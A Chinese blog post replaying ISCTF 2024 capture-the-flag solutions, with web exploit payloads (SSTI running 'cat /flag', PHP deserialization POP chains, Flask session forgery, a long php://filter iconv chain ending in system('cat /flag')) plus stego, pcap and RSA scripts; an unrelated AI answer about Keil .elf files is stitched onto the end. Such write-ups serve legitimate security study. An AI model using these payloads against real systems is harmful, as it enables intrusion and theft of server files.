2024的ISCTF的复现

Web

2024-ISCTF WP_isctf2024的wp-CSDN博客

https://xz.aliyun.com/t/12586

SSTI一把梭工具焚靖fenjing - YD233的博客

1z_php

简单的绕过

小蓝鲨的冒险

?b=a[0]=s878926199a

parse_str函数:变量覆盖
s878926199a:0e绕过

num=2024\0

intval()函数:用于获取变量的整数值

intval函数有个特性:直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换。

注意:

require_once $which.'.php'; 是一个 PHP 语句,它用于包含并运行指定的 PHP 文件。

拼接文件名:$which.'.php' 将 $which 变量的值和一个 .php 扩展名拼接起来,形成完整的文件名。

?b=a[0]=s878926199a&which=flag

num=2024.1

小蓝鲨的秘密

考察重定向

打开环境发现存在跳转

bp抓包 题目链接 发包发现hint

小蓝鲨的故事

dirsearch扫描目录存在 robots.txt

此处为key

bp抓包解密原session

进行sseion伪造

{'username': b'www-data'}

{'username': b'ISctf_Hacker'}

python flask_session_cookie_manager3.py encode -s "TcGXH5JY" -t "{'username': b'ISctf_Hacker'}"

bp传入/flag

小蓝鲨的临时存储室

chmod命令越权

ezserialize

<?php
class Flag {
    private $flag;
}

class User {
    public $username ="username";
    public $isAdmin = true;
}

$a=new Flag();
$b = new User('username ', $flag);  
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>

//O:4:"User":2:{s:8:"username";s:8:"username";s:7:"isAdmin";b:1;}

天命人

链头:MD5二次加密

?J=0e215962017

__get()   //调用不可访问、不存在的对象成员属性时触发

huoyan,jinjing

__invoke()  //把对象当成函数调用时触发

调用参数yun,传入Huoyanjinjing类

__toString()  //把对象当成字符串输出触发        e.g echo $a

echo $this->tianming;

__destruct()        //类的析构函数,对象被销毁时触发
__sleep()           //对象被序列化时触发

//构造pop链
<?php
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;    
}
class Tianmingren {
    public $tianming;
    public $ren;
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";
}

$a=new Wuzhishan();​
$b=new Huoyanjinjing();
$b->huoyan=$a;​
$c=new Dinghaishenzhen();
$c->yun=$b;​
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>

Wukong=O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里! ";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山! ";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}

25时晓山瑞希生日会

经典 HTTP头伪造,伪造流程如下:

User-Agent: Project Sekai			//伪造UA头
X-Forwarded-For:127.0.0.1			//伪造本地用户

伪造日期:Date: Tue, 27 Aug 2024 12:41:59 GMT 

ezSSTI

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /flag")|attr("read")()}}

UP!UPloader

分析源代码,构造payload,蚁剑连接发现无果,去看phpinfo,得到flag

或者可以使用以下方法

ezrce

取反绕过

Misc

大佬文章:ISCTF2024-Misc-WP-CSDN博客

小蓝鲨的签到01

小蓝鲨的签到02

下载附件,010查看即可得到flag。

少女的秘密花园

下载附件,放在010查看,发现PK

foremost分离文件,得到base_misc,010查看发现是个压缩包

解压得到flag.txt文件

base64转图片得2.png,再将图片拖进010

随波逐流分析 发现宽高不对,010修改高度得3.png

盲文对照,红色的是数字,盲文对比得JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2。下面三个方形对应括号,然后base32解码就可以得到flag

赢!rar

360zip秒掉,发现flag.txt

随波逐流分析出flag

数字迷雾:在像素中寻找线索

第一次随波逐流,第二次生成的再拖进去

游园地1

百度识图

游园地2

根据图片发现山崎居酒屋,百度识图发现是武汉江汉区的山崎居酒屋

根据题目,有一个圣地巡游,在google中发现关键信息

File_Format

解压之后,有一个不知道后缀名的flag文件,将后缀改成exe得到需要WinAce解压

加载相关软件解压,得到相关提示

使用ARCHPR.exe爆破

输入密码241023

老八奇怪自拍照

watermark

解压压缩包,得到三个文件 一个是压缩包一张png和一个txt

txt 提示水印,所以对图片提取盲水印,得到key2

key2:64oRvUfta9yJsBv

打开key1.txt,根据提示可为文本隐水印

工具:文本隐水印

key1:FAAqDPjpgKJiB6m

拼接就是解压密码

 秘密

解压发现是一张需要密码的图片

拖进010,发现是一个伪加密

进行伪加密修复,得到一张图片

将图片拖进010,发现关键信息password

接着用oursecret解密,工具下载:OurSecret文档加密工具资源下载-CSDN博客

打开txt,得到下面的内容

这里涉及到零宽隐写,在线解密得到flag

工具:Unicode Steganography with Zero-Width Characters 

奇怪的txt

观察文件夹中的文件大小可以看到73.txt的大小是不同的,打开文件查看可以看到末尾有==,然后其它的文件都是可以进行base64解码的,所以这里猜测这里是需要按照题目描述的方式来将txt文件进行一个拼接,而且73.txt得是最后一个,我们写脚本来进行拼接,从1.txt开始,73.txt结束。

使用ai写一个脚本

 神秘ping

解压之后,拖进010,发现需要进行流量分析,拖到最后,不难发现这里的字节都是反过来的,看英文也知道

那就写进行反转操作

with open("ping",'rb') as f:   #以二进制的形式读取文件内容
    content=f.read()  
    reverse_content=content[::-1]  
with open("p1ng.pcap",'wb') as b:  #以二进制写入
    b.write(reverse_content)

 运行脚本,成功打开流量包

既然和ping有关系,那么就过滤ICMP流量

Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令, 其原理是向特定的目的主机发送 ICMP(Internet Control Message Protocol 因特网报文控制协议)Echo回显 请求(Echo Request)报文,并根据回复的ICMP回显应答消息(Echo Reply),测试目的站是否可达并获取连接的丢包率和平均往返时间等有关状态信息

参考:[SWPU2019]Network - 跳河离去的鱼 - 博客园 

我们用命令将ICMP的ttl都提取出来

tshark -r p1ng.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt

这里使用到的是kali虚拟机

得到1.txt之后,用脚本进行解密

f = open('out.txt', "r")  
str = ''  
Binary = ''  
number = ''  
while 1:  
    num = f.readline()  
    if not num:  
        break  
    if num.rstrip() == '63':  # 去掉每行后面的空格  
        Binary = '00'  
    elif num.rstrip() == '64':  
        Binary = ''  
    elif num.rstrip() == '127':  
        Binary = '01'  
    elif num.rstrip() == '191':  
        Binary = '10'  
    elif num.rstrip() == '255':  
        Binary = '11'  
    str += Binary  
for i in range(0, len(str), 8):  
    number += chr(int(str[i:i + 8], 2))  
print(number)

 运行脚本,得到flag

像素圣战

翻译像素圣战,得到一个在线工具PixelJihad

密码是ISCTF,得到一串二进制数据

这里使用到puzzlesolver工具:GitHub - Byxs20/PuzzleSolver: 一款针对CTF竞赛MISC的工具~

starry sky

1.把图片拖进010,发现base64转图片

2.利用在线工具进行解密,得到一张图片

3.保存一下,拖到010当中,发现key为FF

4.刚好有一个xor文件,对其进行操作,发现是一个音频软件

5.将文件后缀修改为wav

6.使用在线des解密,得到flag

Crypto

ISCTF2024-Crypto(不全) - Naby - 博客园

我和小蓝鲨的秘密

from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes
d = 14529273505388659836222611033
n = 29869349657224745144762606999
encrypted_array_path = r"C:\Users\HP\Desktop\我和小蓝鲨的秘密\encrypted_image.npy"​
decrypted_array = np.zeros(encrypted_array.shape, dtype=np.uint8)
for i in range(encrypted_array.shape[0]):
  for j in range(encrypted_array.shape[1]):
    for k in range(3):  # RGB三个通道
      decrypted_pixel = pow(encrypted_array[i, j, k], d, n)
      decrypted_array[i, j, k] = int(long_to_bytes(decrypted_pixel)[0])
​
img = Image.fromarray(decrypted_array.astype(np.uint8))
img.save("decrypted_flag.jpg")
print(" 已经保存为:decrypted_flag.jpg")

ChaCha20-Poly1305

简单的RSA,解出p,q生成一张新图片

Reverse

你知道.elf文件嘛

回答里面的问题得到flag

PWN

Netcat

使用nc命令,nc 27.25.151.12 20177

以下是未做出的题:

千年樱

考点:使用php://filtericonv转换

1.第一层:

伪造 cookie:

from=ISCTF

2.使用 data 伪协议读文件

name=data://text/plain,ISCTF

3.绕过前面两层,得到以下绕过

这一关加上了一层背景,我们可以F12在检查中将背景删去,之后观察代码

参考文章:

hxp CTF 2021 - The End Of LFI? - 跳跳糖

利用filter过滤器的编码组合构造RCE-腾讯云开发者社区-腾讯云

[PHP]无需可控文件的LFI-RCE学习-CSDN博客

NSSCTF Round#8 web专项赛_多级连接绕过-CSDN博客

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

www.hackdig.com-官网首页

php://filter特性包含任意文件getshell

GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

 payload:

poc=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode&cmd=system('cat /flag');

下面的题参考链接: 

大佬文章:ISCTF2024

Node.js 常见漏洞学习与总结 - 先知社区

ezlogin

新闻系统

ezejs

蓝鲨的java入门课堂

<think>嗯,用户想知道如何在Keil中生成.elf文件。首先,我得回忆一下Keil的配置步骤。Keil主要用于嵌入式开发,通常生成的是.hex或.bin文件,但.elf文件也是可能的。 首先,我应该确定用户使用的Keil版本,不过可能不需要具体版本信息。接下来,生成.elf文件需要调整项目的输出设置。可能是在“Options for Target”里设置,特别是链接器相关的部分。 然后,ELF文件通常是调试信息文件,所以可能需要启用生成调试信息的选项。在Keil中,这可能涉及在Output选项中勾选“Debug Information”。另外,链接器可能需要生成ELF格式的输出,可能需要检查链接器设置,比如使用Scatter文件或者特定的链接器选项。 还有,输出文件的格式可能需要从默认的.hex改为.elf,或者同时生成多个格式。不过,Keil默认可能不会直接生成.elf,可能需要使用fromelf工具或者其他方式转换,或者配置编译器/链接器选项。 可能还需要确认用户是否混淆了.elf和其他文件格式,比如.axf,因为Keil有时会生成.axf作为调试文件。如果是这样的话,可能需要解释两者的区别,并说明如何获取.elf或者等效文件。 另外,考虑用户可能的实际需求,比如需要.elf文件用于其他工具链或调试器,这时候正确的配置步骤很重要。可能需要指导用户如何在项目选项中设置输出格式,确保链接器生成ELF文件。 最后,可能需要验证步骤,比如编译后检查输出目录是否有.elf文件,或者查看构建日志确认是否成功生成。如果有问题,可能需要检查编译器的配置或者是否有错误提示。</think>在Keil MDK中生成.elf文件,可通过以下步骤实现: $$Project \rightarrow Options \rightarrow Output$$ 1. **基础配置** - 勾选 `Debug Information`(调试信息) - 勾选 `Browse Information`(浏览信息) - 确认输出路径:`Name of Executable` 指定文件名(默认扩展名为.axf) 2. **关键设置** - 在 `Options for Target → Linker` 中: * 启用 `Use Memory Layout from Target Dialog` * 禁用 `Use Linker Script File`(除非有自定义配置需求) 3. **格式说明** - Keil默认生成的`.axf`文件本质上是ELF格式的变种 - 可直接将`.axf`文件重命名为`.elf`使用 4. **验证生成** ```plaintext Build Output窗口显示: Program Size: Code=xxxx RO-data=xxxx RW-data=xxxx ".\Objects\project.axf" - 0 Error(s), 0 Warning(s) ``` 5. **进阶配置(可选)** - 通过 `fromelf` 工具转换格式: $$fromelf --bin --output=project.bin project.axf$$ - 在 `User` 标签页添加编译后命令: ```bash fromelf --elf --output=project.elf !L ``` **注意**:.axf文件包含ARM特定调试信息,而标准ELF格式可能需通过第三方工具转换。多数ARM调试器(如J-Link)可直接识别.axf文件进行调试。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值